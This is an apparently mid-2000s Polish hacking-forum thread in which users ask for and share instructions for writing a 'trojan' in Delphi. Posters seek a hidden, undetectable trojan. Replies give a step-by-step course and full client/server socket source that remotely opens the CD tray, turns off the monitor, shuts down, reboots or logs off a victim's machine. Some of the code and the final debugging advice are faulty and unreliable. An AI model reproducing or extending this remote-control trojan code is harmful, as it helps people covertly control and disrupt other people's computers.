[delphi] Jak napisac trojana

Mort

Użytkownik
Dołączył
Wrzesień 16, 2005
Posty
2
Witam prosiłbym o zamieszczenie kursu pisania trojana w Borland delphi7, umiem podstawy object pascala ale trojana w życiu niepsiałemi nawet niewiem jka do tego sie zabrać. . . Prosił bym tez o to by prucz kuru było zmaszone jak zroić by trojan ukrywał sie w systemie wiecie dobrze o jakie opcje chodzi. . . 8)

Pozdrawiam i dziękuje z góry
 

GreEnSnake

Użytkownik
Dołączył
Kwiecień 21, 2005
Posty
352
Re: Jak napisac trojana

Originally posted by Mort
Witam prosiłbym o zamieszczenie kursu pisania trojana w Borland delphi7, umiem podstawy object pascala ale trojana w życiu niepsiałemi nawet niewiem jka do tego sie zabrać. . . Prosił bym tez o to by prucz kuru było zmaszone jak zroić by trojan ukrywał sie w systemie wiecie dobrze o jakie opcje chodzi. . . 8)

Pozdrawiam i dziękuje z góry
http://www.haker.com.pl/forum/viewtopic.php?t=14371
http://www.haker.com.pl/forum/viewtopic.php?t=15738
 

aniolek-tasmanski

Były Administrator
Dołączył
Październik 31, 2002
Posty
514
Hej
<


To Ci sie spodoba:

Autor bardzo dokladnie opisuje poszczególne etapy pisania trojana w Delphin. 157 przykładów kodów, najbardziej popularnych funkcji używanych przez trojany.
Faq napisany w formie "pytanie i odpowiedź"


Plik: *.txt , rozmiar: 81,3KB

http://www.haker.com.pl/index.php?mod=down...;nmt=-636425217

pozdrawiam
aniolek
 

Mort

Użytkownik
Dołączył
Wrzesień 16, 2005
Posty
2
thx ale narazie jest problem ze ścinięciem sprubuje jutro. . . wpadłęm na pomysł napisania swojego trojana bo potrbzuje niewykrywalnego. . .
<
 

moax

Użytkownik
Dołączył
Wrzesień 25, 2005
Posty
6
Kurs pisania trojana w Delphi

Napisano dla celów edukacyjnych! Nie odpowiadam za użycie niezgodnie z polskim prawem.
********************************************************************************
********************
Potrzebne jest nam do tego najlepiej Delphi 7 z Socketami. Uruchamiamy Winamp’a i wybieramy jakąś fajną muzyke. Minimalizujemy Winamp’a i otwieramy Delphi.
CLIENT:
Na Formę dajemy komponenty takie:
ClientSocket1
Button1 (Caption = ‘Połącz’)
Button2 (Caption = ‘Rozłącz)
Button3 (Ten przycisk otworzy CD)
Button4 (Ten zamknie CD)
W ClientSocket1 w Object Inspector jako HOST dajemy ‘127.0.0.1’, port daj 666.W Button1 w procedurze OnClick daj to:
Kod:
ClientSocket1.Active:= True;

A w Button2 w procedurze OnClick daj to:
Kod:
ClientSocket1.Active := False;

Teraz w Button3 w procedurze OnClick daj to:
Kod:
ClientSocket1.Socket.SendText(‘1’);

Teraz w Button4 w procedurze OnClick daj to:
Kod:
ClientSocket1.Socket.SendText(‘2’);

To tyle w Kliencie….

SERVER:
Na Formę dajemy komponenty takie:
ServerSocket1
W ServerSocket1 jako Port daj 666.
W Form1 w procedurze OnCreate daj to:
Kod:
ServerSocket1.Active:= True;
W ServerSocket1 w procedurze OnClientRead daj to:
Kod:
var

Wiadomosc,Pom, msg1:string;

kod,i:integer;



begin

  Wiadomosc := Socket.ReceiveText;

  pom:='';

  for i:=1 to 3 do pom:=pom+wiadomosc[i];

  kod:=strtoint(pom);

  case kod of //WYBIERZ PROCEDURE

    1 : begin

            opencd();

          end;

    2 : begin

            closecd();

          end;

end;

end;
Teraz pod Type zadeklaruj dwie procedury. Jedna to: procedure opencd; i druga to: procedure closecd;
Do Uses dodaj MMSystem . Pod Implementation daj te dwie procedury:
Kod:
procedure opencd;

begin

MciSendString('Set cdaudio door open wait',nil,0,handle);

end;

Kod:
procedure closecd;

begin

MciSendString('Set cdaudio door closed wait',nil,0,handle);

end;

To już jest koniec. Nie jest to super trojan, nie będzie łatwo. Nie chce żeby lamer myślał, że jest programistą. Ci co się uczą Delphi i mają problemy z Socketami i wysyłaniem komend do trojana to na pewno to zrozumieją.
 

WinX

Użytkownik
Dołączył
Wrzesień 29, 2005
Posty
13
Jestem w trakcie pisania 'trojana'(jak na razie, to chce tylko funkcje wysuwania CD-romu). Wszystko sie ladnie skompilowalo, ale niestety ww crdom sie nie wysuwa :cry:

Oto kody źródłowe:

Klinet:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,mmsystem, StdCtrls,ShellApi,Winsock, Menus, ScktComp;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
Button8: TButton;
MainMenu1: TMainMenu;
Plik1: TMenuItem;
Autorzy1: TMenuItem;
Zamknij1: TMenuItem;
ClientSocket1: TClientSocket;
Label1: TLabel;
Edit1: TEdit;
Button9: TButton;
Button10: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Zamknij1Click(Sender: TObject);
procedure Autorzy1Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin

clientsocket1.socket.SendText('cdopen'); // 'cdopen' jest to zmienna ktora klient wysyla do server
end;

procedure TForm1.Button2Click(Sender: TObject);
begin

clientsocket1.socket.SendText('cdclose');
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,1);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,-1);
//włączenie monitora

end;

procedure TForm1.Button5Click(Sender: TObject);
begin
ShellExecute(Handle,'open','rundll32','krnl386.exe,exitkernel',nil,SW_SHOWNORMAL);
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
ExitWindowsEx(EWX_REBOOT,0);
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
ExitWindowsEx( EWX_POWEROFF,0);
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
ExitWindowsEx ( EWX_LOGOFF,0);
end;

procedure TForm1.FormCreate(Sender: TObject);

var
wVersionRequested:WORD;
wsaData:TWSAData;
begin
wVersionRequested := MAKEWORD(1, 1);
WSAStartup(wVersionRequested, wsaData);
end;
procedure TForm1.Zamknij1Click(Sender: TObject);
begin
close;
end;

procedure TForm1.Autorzy1Click(Sender: TObject);
begin
form2.showmodal;
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
clientsocket1.Address:=edit1.text; // adres ip servera do ktorego bedziemy sie laczyc

clientsocket1.active:=true; // To nam bedzie potrzebne do laczenia z serverem
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
clientsocket1.active:=false; // client ma sie rozlaczyc
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
ShowMessage('Klient Polaczony z Serverem ') // Wyskoczy nam okienko powiadomieniem
end;

end.[/b]

Serwer
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, shellapi, mmsystem, registry;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);





private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;


implementation

{$R *.dfm}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string ;


begin

s:=serversocket1.Socket.Connections[0].ReceiveText;

if (s='cdopen') then // jezeli przyjdzie zmienna 'cdopen' to wtedy:

mciSendString('Set cdaudio door open wait',nil,0,handle); // funkcja Ktora otwiera Cd-Rom.
begin

if (s='cdclose') then // jezeli przyjdzie zmienna 'cdclose' to wtedy:

mciSendString('Set cdaudio door closed wait',nil,0,handle); // funkcja Ktora zamyka Cd-Rom.
end;




end;


end.[/b]

Te procedury w kliencie odnosnie wylaczania kompa itp sie nie licza
<


Jesli komus bedzie sie chcialo poswiecic troche czasu na przejrzenie tego kodu i znalezienie bledu, bede bardzo wdzieczny :)

PS. OCzywiscie korzystalem z pomocy w temacie 'trojany by slayd' czy jakos tak
<
 

mikszy5

Użytkownik
Dołączył
Sierpień 28, 2005
Posty
50
sprubuj zamiast twoich poleceń wkleic te


mciSendString('Set cdaudio door open wait',nil,0,handle); -open cd

mciSendString('Set cdaudio door closed wait',nil,0,handle); -close cd

[ Dodano: 29-09-2005, 15:25 ]
mam problem przy pisaniu serwera doszedłem do 9 funkcji ale nie moge pisać więcej tzn
gdy pisze if komenda = ('A') then
ShowMessage ('witam')
to podkreśla if
 

WinX

Użytkownik
Dołączył
Wrzesień 29, 2005
Posty
13
Niestety sa te same, ale wydaje mi sie ze blad tkwi gdzies indziej :-(


EDIT;//

Wiem, ze to prośba dość banalna, ale czy mógłby ktos napisać tutaj kod zródłowy programu z tematu
Kurs Pisania Trojankow by Slayd[/b]
? Bo piszac tego trojana wg tych wskazowek mam blad w serwerze...
 

mikszy5

Użytkownik
Dołączył
Sierpień 28, 2005
Posty
50
ten proble musi tkwić u ciebie ja dałem na forme Tserwersocket i wkleiłem ten kod i wszystko działa pięknie a jaką masz wersje delphi??
bo ja Delphi 2005 Personal ARCHITECT i tu wszystko gra :)
 

WinX

Użytkownik
Dołączył
Wrzesień 29, 2005
Posty
13
Delphi 7 Enterprise. A moglbys mi wkleic tutaj ten kod serwera z Twojego trojana?
smile.gif
smile.gif
 

solier

Użytkownik
Dołączył
Grudzień 11, 2006
Posty
74
Re: Kurs pisania trojana w Delphi

Chce na wstepie zaznaczyc zeby nikt sie nie smial bo dopiero zaczynam bawić sie w delphi.
Originally posted by moax
CLIENT:
Na Formę dajemy komponenty takie:
ClientSocket1
Button1 (Caption = ‘Połącz’)
Button2 (Caption = ‘Rozłącz)
Button3 (Ten przycisk otworzy CD)
Button4 (Ten zamknie CD)
W ClientSocket1 w Object Inspector jako HOST dajemy ‘127.0.0.1’, port daj 666.W Button1 w procedurze OnClick daj to:
Kod:
ClientSocket1.Active:= True;

A w Button2 w procedurze OnClick daj to:
Kod:
ClientSocket1.Active := False;

Teraz w Button3 w procedurze OnClick daj to:
Kod:
ClientSocket1.Socket.SendText(‘1’);

Teraz w Button4 w procedurze OnClick daj to:
Kod:
ClientSocket1.Socket.SendText(‘2’);
a więc tak robie ale przy kompilacji (ctrl+f9) podświetlają mi sie na czerwono kody które podałeś. próbowalem wiele razy, jaka moze byc przyczyna.
nie śmiac sie. dopiero zaczynam, kazdy kiedys mial problemy na tym poziomie
 

solier

Użytkownik
Dołączył
Grudzień 11, 2006
Posty
74
a wiec komplikuje podświetla sie kod
Kod:
ClientSocket1.Socket.SendText(‘1’);
a w build wyskakuje:
error Undeclared identifier socket1
 

Avat

Użytkownik
Dołączył
Kwiecień 1, 2006
Posty
221
Nie zadeklarowałeś zmiennej socket1. Napisz taki kod:
Kod:
procedure TForm1.Button1Click(Sender: TObject);

var

socket1 : string;

begin

ClientSocket1.Socket.SendText(socket1);

end;
 
Do góry Bottom